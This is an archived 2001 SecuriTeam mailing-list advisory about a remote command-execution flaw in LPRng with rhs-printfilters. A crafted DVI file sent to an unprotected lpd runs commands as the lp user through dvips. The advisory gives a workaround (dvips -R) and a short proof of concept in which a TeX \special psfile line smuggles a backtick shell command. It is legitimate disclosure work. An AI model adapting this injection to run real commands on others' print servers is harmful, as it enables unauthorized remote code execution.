[UNIX] LPRng/rhs-printfilters Vulnerability Leads to Remote Execution of Commands
From: support@securiteam.comDate: 09/03/01
- Previous message: support@securiteam.com: "[NEWS] Sioux Falls Federal Credit Union's E-mail Alert Program Transmits Account Numbers in Plaintext"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Subject: [UNIX] LPRng/rhs-printfilters Vulnerability Leads to Remote Execution of Commands Message-Id: <20010903192614.3C97E138C0@mail.der-keiler.de> Date: Mon, 3 Sep 2001 21:26:14 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
LPRng/rhs-printfilters Vulnerability Leads to Remote Execution of Commands
------------------------------------------------------------------------
SUMMARY
If the lpd is listening on 0.0.0.0 and no access controls are in place, it
is possible to execute commands as the lp user, assuming tetex-dvips is
installed.
DETAILS
Unless the -R option is passed, the example file will execute the command
when converted to a .dvi file (tex spool.tex).
Workaround:
Modify /usr/lib/rhs/rhs-printfilters/dvi-to-ps.fpi
..
dvips -f $DVIPS_OPTIONS < $TMP_FILE
..
To:
..
dvips -R -f $DVIPS_OPTIONS < $TMP_FILE
..
Making it safer.
Proof of concept:
Use this to test your machine:
cat >proof-of-concept.tex <<EOF
\special{psfile="`touch /tmp/lpowned"}
\end
EOF
tex proof-of-concept
lpr proof-of-concept.dvi
ADDITIONAL INFORMATION
The information has been provided by <mailto:zen-parse@gmx.net>
zen-parse.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] Sioux Falls Federal Credit Union's E-mail Alert Program Transmits Account Numbers in Plaintext"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
